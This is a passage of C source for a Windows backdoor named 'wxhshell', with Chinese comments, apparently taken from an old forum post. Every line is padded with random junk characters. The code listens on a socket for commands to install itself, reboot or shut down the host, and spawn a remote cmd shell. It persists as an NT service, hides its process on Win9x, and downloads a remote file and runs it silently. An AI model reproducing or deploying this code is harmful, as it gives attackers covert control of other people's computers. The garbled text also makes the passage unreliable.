  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3AP YO  
  } W[ "HDR  
  else { T=yCN#cqQ`  
i\Q":4  
    switch(cmd[0]) { T;%+]:w<  
  %rFllb7  
  // 帮助 ?7 X3 P  
  case '?': { "{6KZ!+0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +TWJNI  
    break; 5YLho2h38!  
  } 5z[6rT=a  
  // 安装 `~KAk  
  case 'i': { wJr/FE 7c  
    if(Install()) a~ F u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fcn_<Yh0W  
    else =~;zVP   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg) ^|  
    break; ;lkf+,;  
    } 6%z`)d  
  // 卸载 'U*udkn 2]  
  case 'r': { ?xf~!D  
    if(Uninstall()) uyvskz\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;9Hz{ej  
    else } _VZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8W |W2o$!  
    break; t>-XT|lV  
    } 5\5~L  
  // 显示 wxhshell 所在路径 2O^32TdS  
  case 'p': { I>8 Bc  
    char svExeFile[MAX_PATH]; 6vZt43"m?\  
    strcpy(svExeFile,"\n\r"); I BF.&[[S  
      strcat(svExeFile,ExeFile); 5Wj5IS/  
        send(wsh,svExeFile,strlen(svExeFile),0); }cyq'm i  
    break; @)06\ h  
    } Q,O]x#  
  // 重启 ; S{ZC5  
  case 'b': { q w"e0q%)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G+;g:_E=  
    if(Boot(REBOOT)) cRPr9LfD@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u'{sB5_H  
    else { %9cqJ]S  
    closesocket(wsh); Rf&^th}TH  
    ExitThread(0); baA HP "  
    } mn,=V[f  
    break; 9n-RXVL+  
    } <`^>bv9  
  // 关机 FP0<-9DO  
  case 'd': {  ; \Y-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $K;_Wf  
    if(Boot(SHUTDOWN)) ?m`R%>X"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g(M(Hn7  
    else { ^D0/H N   
    closesocket(wsh); /o~ @VF:  
    ExitThread(0); Uia)5zz8  
    } t^dakL  
    break; &fh.w]\  
    } CAcOWwDm  
  // 获取shell AJdlqbd'+  
  case 's': { 8'>.#vyMGv  
    CmdShell(wsh); xy2eJJq  
    closesocket(wsh); hnlU,p&y3  
    ExitThread(0); "Vs Nyy  
    break; wpJ^}+kF  
  } 9LUP{(uq  
  // 退出 +G>aj '\M|  
  case 'x': { '&&~IB4ud  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $H %+k?  
    CloseIt(wsh); Qq6%53  
    break; a2 IV!0x  
    } jCdZ}M($  
  // 离开 9QO!vx  
  case 'q': { !!\4'Q[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B]CS2LEqh  
    closesocket(wsh); >V77X+!  
    WSACleanup(); ~6pCOS}  
    exit(1); ant-\w> }  
    break; xX[{E x   
        } +K @J*W 1  
  } xQcMQ{&;  
  } b3jU~L$  
C]{V%jU  
  // 提示信息 E$oA+n~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cJ1{2R  
} :zS>^RE  
  } s7X~OF(#  
K[Ws/yc^a  
  return; oc,U4+T  
} =iPd@f"$  
rYP8V >  
// shell模块句柄 oC;l5v<  
int CmdShell(SOCKET sock) UwzE'#Q-  
{ X_EC:GU  
STARTUPINFO si; =[O<.'aG-  
ZeroMemory(&si,sizeof(si)); FlM.D u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (>kBmK1Aj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d60Fi#3d  
PROCESS_INFORMATION ProcessInfo; a93d'ZE-X  
char cmdline[]="cmd"; P,LXZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Ln7_  
  return 0; 8*Nt&`@  
} P+D|_3j  
C'xU=OnA8  
// 自身启动模式 *U5> j#,  
int StartFromService(void) p3'mJ3MA  
{ \3@2rW"5  
typedef struct Z{|.xgsY  
{ /(z0I.yE  
  DWORD ExitStatus; EUYa =-  
  DWORD PebBaseAddress; lFzQG:k@  
  DWORD AffinityMask; lMI ix0sSj  
  DWORD BasePriority; d(dw]6I6  
  ULONG UniqueProcessId; ^me}k{x  
  ULONG InheritedFromUniqueProcessId; OM#OPB rB  
}   PROCESS_BASIC_INFORMATION; dk, I?c &  
:9O0?6:B|  
PROCNTQSIP NtQueryInformationProcess;  Cq~ah  
~,3v<A[5Vi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :@z5& h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *X =f  
\?Oly171  
  HANDLE             hProcess; kAKqW7,q"  
  PROCESS_BASIC_INFORMATION pbi; eUUD|U*b   
ct|'I]nB.h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n!E H>'T  
  if(NULL == hInst ) return 0; oW\7q{l2)  
;zxlwdfcr'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V.G9J!?<P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MX< ($M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); emDvy2uA#  
Rh-8//&vZ/  
  if (!NtQueryInformationProcess) return 0; yz&q2  
IQ27FV|3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s D8xH  
  if(!hProcess) return 0; {D_4~heF  
IbNTdg]/F`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,:Ix s^-  
zI*/u)48  
  CloseHandle(hProcess); K]=>F  
h0EGhJs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m6ZbYF-7W  
if(hProcess==NULL) return 0; ]FnrbQ|  
7 +W?Qo  
HMODULE hMod; 9@&Z`b_  
char procName[255]; 0m| Gp  
unsigned long cbNeeded; xuH<=-O>ki  
_bV=G#qKK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H?r;S 5)c  
K Lv  
  CloseHandle(hProcess); 3B_} :  
VRN9yn2  
if(strstr(procName,"services")) return 1; // 以服务启动 /dP8F  
/;(%Xd&:  
  return 0; // 注册表启动 p2_Zsq  
} TB3T:A>2  
9j>sRE1  
// 主模块 SO jDtZ  
int StartWxhshell(LPSTR lpCmdLine) HjY-b*B  
{ 7g<`w LAH  
  SOCKET wsl; Wg;TXs/  
BOOL val=TRUE; $vicHuX!  
  int port=0; z E7ocul  
  struct sockaddr_in door; e hB1`%@  
 ,IvnNnl2  
  if(wscfg.ws_autoins) Install(); B7jlJqV  
$Q7E#  
port=atoi(lpCmdLine); E*b[.vUp  
d/99!+r  
if(port<=0) port=wscfg.ws_port; ;[\2/$-  
J5_ qqD)  
  WSADATA data; &CP@] pi9L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z 5YW L4s  
8`*9jr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V6!73 iY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "aO,  
  door.sin_family = AF_INET; h.+&=s!Nsy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u0H`%m  
  door.sin_port = htons(port); zinl.8Uk  
*9:6t6x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vi.AzO  
closesocket(wsl); .aH?H]^  
return 1; Xm[r#IA  
} 6V?&hq&t  
g~sNY|%  
  if(listen(wsl,2) == INVALID_SOCKET) { ImY*cW=M  
closesocket(wsl); - 5Wt9  
return 1; i&G`ah>  
} z00:59M4  
  Wxhshell(wsl); {%k;V ~  
  WSACleanup(); $0C/S5b  
e.YchGTQ  
return 0; 7T;RXrT  
n&78~@H  
} ok _{8z\#  
xR6IXF>*  
// 以NT服务方式启动 MifgRUe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ={0{X9t?'j  
{ c] 0  
DWORD   status = 0; +rw3.d  
  DWORD   specificError = 0xfffffff; `Qk R  
!eoec2h#5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v#2qwd3x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q9(}wvtr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;= @-j@?  
  serviceStatus.dwWin32ExitCode     = 0; a ^/20UFq  
  serviceStatus.dwServiceSpecificExitCode = 0; tU2;Wb!Y  
  serviceStatus.dwCheckPoint       = 0; F"TI 9ib  
  serviceStatus.dwWaitHint       = 0; C`<} nx1  
{:8[Mdf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TUn@b11  
  if (hServiceStatusHandle==0) return; %}5"5\Zz  
1mPS)X_  
status = GetLastError(); &rWJg6/  
  if (status!=NO_ERROR) )g<qEyJR  
{ *B}R4Y|g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ph_m'fbf  
    serviceStatus.dwCheckPoint       = 0; uvM8 8#  
    serviceStatus.dwWaitHint       = 0; `B 0*/ml  
    serviceStatus.dwWin32ExitCode     = status; Ntrn("!  
    serviceStatus.dwServiceSpecificExitCode = specificError; kx(:Z8DX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }4MG114j  
    return; sU!q~`; J  
  } &t:MWb;  
Ym2m1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "?.Wb L  
  serviceStatus.dwCheckPoint       = 0; .7rsbZzs  
  serviceStatus.dwWaitHint       = 0; <aD+Ki6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | N,nt@~  
} kYa' ] m  
w%H#>k  
// 处理NT服务事件,比如:启动、停止 G7JZP T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e|9Bzli{  
{ DNO%J^  
switch(fdwControl) AG0x)  
{ FMr$cKvE]W  
case SERVICE_CONTROL_STOP: P.J}\;S T  
  serviceStatus.dwWin32ExitCode = 0; | lfPd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2`eu3vA  
  serviceStatus.dwCheckPoint   = 0; 1vd+p!n  
  serviceStatus.dwWaitHint     = 0; 7NqV*  
  { nu -wQr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HJrg  
  } MT gEq  
  return; }`]^LFU5  
case SERVICE_CONTROL_PAUSE: 4rdrl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @h8~xs~DG  
  break; lv&wp@  
case SERVICE_CONTROL_CONTINUE: U]3JCZ{]0E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bv*h ?`Q  
  break; 39e oL;O_  
case SERVICE_CONTROL_INTERROGATE: M$A!  
  break; rvO+=Tk  
}; $MGd>3%y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y[,C1,  
} \MPy"uC  
Ob+c*@KiW  
// 标准应用程序主函数 K_.x(Z(;4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (dZ&Af  
{ #2=30  
C`K/ai{4  
// 获取操作系统版本 QKQy)g  
OsIsNt=GetOsVer(); 5%/%i}e~(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 ARh-zLb  
$a1.c;NE'  
  // 从命令行安装 o LRio.u*  
  if(strpbrk(lpCmdLine,"iI")) Install(); XA%?35v~  
]7@Dqd-/S  
  // 下载执行文件 b,`N;*  
if(wscfg.ws_downexe) { Wc[)mYOSuO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2US8<sq+  
  WinExec(wscfg.ws_filenam,SW_HIDE); K~G^jAk+  
} ~C+T|  
)63w&  
if(!OsIsNt) { dksnW!  
// 如果时win9x,隐藏进程并且设置为注册表启动 =!aV?kNS8  
HideProc(); pTd@i1%Nr  
StartWxhshell(lpCmdLine); i ib-\j4d  
} }=5(*Vg  
else J{I?t~u  
  if(StartFromService()) 5j %jhby?  
  // 以服务方式启动 E2cmT$6  
  StartServiceCtrlDispatcher(DispatchTable); d7Z\  
else u]-$]zIH  
  // 普通方式启动 mmti3Y  
  StartWxhshell(lpCmdLine); l-rI|0D#  
3f x!\  
return 0; 7="V7  
}
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只看该作者 1 发表于: 2006-10-10
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